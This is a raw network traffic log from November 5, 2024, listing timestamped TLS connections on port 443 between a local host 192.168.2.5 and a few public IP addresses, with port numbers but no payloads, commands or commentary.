Nov 5, 2024 22:44:37.183969021 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.183975935 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.184118986 CET	49975	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.184160948 CET	443	49975	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.185827971 CET	49976	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.185909986 CET	443	49976	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.185988903 CET	49976	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.186104059 CET	49976	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.186116934 CET	443	49976	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.344794989 CET	443	49972	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.345417976 CET	49972	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.345443010 CET	443	49972	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.345901966 CET	49972	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.345906019 CET	443	49972	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.385962963 CET	443	49973	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.388897896 CET	49973	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.388921022 CET	443	49973	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.389329910 CET	49973	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.389333963 CET	443	49973	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.474898100 CET	443	49972	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.475131989 CET	443	49972	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.475193977 CET	49972	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.476178885 CET	49972	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.476191998 CET	443	49972	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.479199886 CET	49977	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.479229927 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.479338884 CET	49977	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.479494095 CET	49977	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.479511023 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.606331110 CET	443	49973	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.606355906 CET	443	49973	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.606400967 CET	443	49973	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.606422901 CET	49973	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.606462955 CET	49973	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.609927893 CET	49973	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.609947920 CET	443	49973	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.634215117 CET	49978	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.634241104 CET	443	49978	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.634932041 CET	49978	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.635199070 CET	49978	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.635214090 CET	443	49978	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.916352987 CET	443	49975	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.916974068 CET	49975	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.916992903 CET	443	49975	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.917424917 CET	49975	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.917429924 CET	443	49975	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.925224066 CET	443	49976	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.928853989 CET	49976	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.928868055 CET	443	49976	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.929238081 CET	49976	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.929243088 CET	443	49976	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.957227945 CET	443	49974	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.965588093 CET	49974	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.965605974 CET	443	49974	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.965976000 CET	49974	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.965986967 CET	443	49974	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.051337957 CET	443	49975	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.051512003 CET	443	49975	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.051600933 CET	49975	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.055078030 CET	443	49976	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.055119038 CET	443	49976	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.055196047 CET	49976	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.064316034 CET	49975	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.064349890 CET	443	49975	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.064364910 CET	49975	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.064371109 CET	443	49975	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.065877914 CET	49976	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.065891981 CET	443	49976	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.065905094 CET	49976	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.065908909 CET	443	49976	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.069789886 CET	49979	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.069817066 CET	443	49979	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.072540998 CET	49979	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.074518919 CET	49980	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.074537039 CET	443	49980	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.074873924 CET	49980	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.074875116 CET	49979	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.074884892 CET	443	49979	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.074892044 CET	49980	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.074897051 CET	443	49980	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.099560022 CET	443	49974	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.099783897 CET	443	49974	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.099841118 CET	49974	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.099874973 CET	49974	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.099884987 CET	443	49974	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.099898100 CET	49974	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.099903107 CET	443	49974	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.102938890 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.102952957 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.103029966 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.103141069 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.103153944 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.207684040 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.222439051 CET	49977	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.222448111 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.222913027 CET	49977	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.222917080 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.347120047 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.347142935 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.347197056 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.347213984 CET	49977	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.347269058 CET	49977	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.347620964 CET	49977	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.347630024 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.347639084 CET	49977	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.347645044 CET	443	49977	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.350800037 CET	49983	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.350858927 CET	443	49983	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.351001024 CET	49983	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.351197958 CET	49983	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.351213932 CET	443	49983	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.367381096 CET	443	49978	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.367861032 CET	49978	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.367887974 CET	443	49978	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.368388891 CET	49978	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.368398905 CET	443	49978	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.498277903 CET	443	49978	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.498478889 CET	443	49978	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.498677969 CET	49978	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.502110958 CET	49978	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.502123117 CET	443	49978	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.502132893 CET	49978	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.502139091 CET	443	49978	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.689820051 CET	49984	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.689872980 CET	443	49984	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.690001011 CET	49984	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.690498114 CET	49984	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.690511942 CET	443	49984	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.810259104 CET	443	49980	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.841896057 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.865303993 CET	49980	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.896372080 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.933823109 CET	49980	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.933830023 CET	443	49980	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.934686899 CET	49980	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.934691906 CET	443	49980	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.935266972 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.935271025 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:38.935851097 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:38.935856104 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.009565115 CET	443	49979	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.036526918 CET	49979	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.036526918 CET	49979	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.036547899 CET	443	49979	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.036564112 CET	443	49979	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.061856985 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.062469006 CET	443	49980	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.062545061 CET	443	49980	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.062602997 CET	49980	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.109317064 CET	443	49983	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.114464045 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.114476919 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.117078066 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.117089987 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.117100000 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.117340088 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.117384911 CET	443	49982	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.117424011 CET	49982	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.120737076 CET	49980	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.120748043 CET	443	49980	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.120757103 CET	49980	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.120763063 CET	443	49980	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.143321037 CET	49983	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.143347979 CET	443	49983	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.144103050 CET	49983	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.144109011 CET	443	49983	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.147437096 CET	49985	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.147454977 CET	443	49985	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.147522926 CET	49985	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.147677898 CET	49985	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.147691011 CET	443	49985	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.149288893 CET	49986	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.149322033 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.149374008 CET	49986	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.149787903 CET	49986	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.149801016 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.167804956 CET	443	49979	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.167947054 CET	443	49979	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.168000937 CET	49979	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.168037891 CET	49979	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.168049097 CET	443	49979	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.168066978 CET	49979	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.168071032 CET	443	49979	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.169980049 CET	49987	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.169990063 CET	443	49987	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.170053005 CET	49987	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.170154095 CET	49987	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.170166969 CET	443	49987	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.273111105 CET	443	49983	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.273191929 CET	443	49983	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.273240089 CET	49983	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.273400068 CET	49983	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.273416042 CET	443	49983	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.273426056 CET	49983	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.273431063 CET	443	49983	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.276277065 CET	49988	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.276295900 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.276366949 CET	49988	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.276485920 CET	49988	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.276496887 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.420936108 CET	443	49984	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.421646118 CET	49984	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.421668053 CET	443	49984	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.421996117 CET	49984	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.422000885 CET	443	49984	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.551856041 CET	443	49984	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.552069902 CET	443	49984	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.552124023 CET	49984	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.552261114 CET	49984	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.552272081 CET	443	49984	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.552283049 CET	49984	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.552288055 CET	443	49984	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.555238962 CET	49989	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.555269003 CET	443	49989	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.555339098 CET	49989	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.555474043 CET	49989	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.555486917 CET	443	49989	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.883580923 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.884279013 CET	49986	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.884315014 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.884768963 CET	49986	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.884774923 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.885453939 CET	443	49985	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.885720015 CET	49985	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.885730028 CET	443	49985	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.886066914 CET	49985	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.886071920 CET	443	49985	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.926711082 CET	443	49987	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.927448034 CET	49987	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.927467108 CET	443	49987	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:39.927849054 CET	49987	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:39.927853107 CET	443	49987	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.042210102 CET	443	49985	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.042404890 CET	443	49985	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.042490005 CET	49985	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.042728901 CET	49985	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.042741060 CET	443	49985	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.042749882 CET	49985	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.042754889 CET	443	49985	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.045399904 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.045420885 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.045435905 CET	49991	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.045453072 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.045456886 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.045492887 CET	49986	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.045557022 CET	49986	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.045561075 CET	49991	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.045661926 CET	49986	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.045680046 CET	49991	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.045681953 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.045692921 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.045696020 CET	49986	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.045702934 CET	443	49986	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.047425985 CET	49992	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.047516108 CET	443	49992	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.047606945 CET	49992	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.047698975 CET	49992	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.047734022 CET	443	49992	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.059889078 CET	443	49987	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.059953928 CET	443	49987	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.060014963 CET	49987	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.060111046 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.060244083 CET	49987	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.060255051 CET	443	49987	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.060262918 CET	49987	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.060271978 CET	443	49987	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.060698032 CET	49988	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.060717106 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.061176062 CET	49988	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.061181068 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.062181950 CET	49993	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.062201023 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.062275887 CET	49993	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.062369108 CET	49993	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.062376022 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.199744940 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.199834108 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.199873924 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.199898958 CET	49988	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.199937105 CET	49988	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.200068951 CET	49988	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.200068951 CET	49988	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.200081110 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.200088978 CET	443	49988	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.201997995 CET	49994	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.202018023 CET	443	49994	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.202089071 CET	49994	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.202358007 CET	49994	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.202370882 CET	443	49994	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.305358887 CET	443	49989	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.306396008 CET	49989	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.306413889 CET	443	49989	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.306936026 CET	49989	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.306941032 CET	443	49989	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.437382936 CET	443	49989	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.437446117 CET	443	49989	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.437511921 CET	49989	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.437659025 CET	49989	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.437665939 CET	443	49989	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.437678099 CET	49989	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.437681913 CET	443	49989	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.441658974 CET	49995	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.441678047 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.441797018 CET	49995	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.441931963 CET	49995	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.441942930 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.470593929 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:40.470617056 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:40.470626116 CET	49958	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:40.470665932 CET	443	49958	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:40.470766068 CET	49958	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:40.471107960 CET	49958	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:40.471121073 CET	443	49958	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:40.471472025 CET	49996	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:40.471537113 CET	443	49996	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:40.471757889 CET	49996	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:40.472053051 CET	49996	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:40.472069979 CET	443	49996	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:40.472351074 CET	49997	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:40.472366095 CET	443	49997	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:40.472430944 CET	49997	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:40.472635031 CET	49997	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:40.472640991 CET	443	49997	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:40.473007917 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:40.473018885 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:40.473362923 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:40.473458052 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:40.473957062 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:40.515335083 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:40.782982111 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.783531904 CET	49991	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.783551931 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.784034967 CET	49991	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.784039974 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.793039083 CET	443	49992	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.793448925 CET	49992	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.793476105 CET	443	49992	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.793872118 CET	49992	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.793876886 CET	443	49992	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.808806896 CET	443	49993	13.107.246.45	192.168.2.5
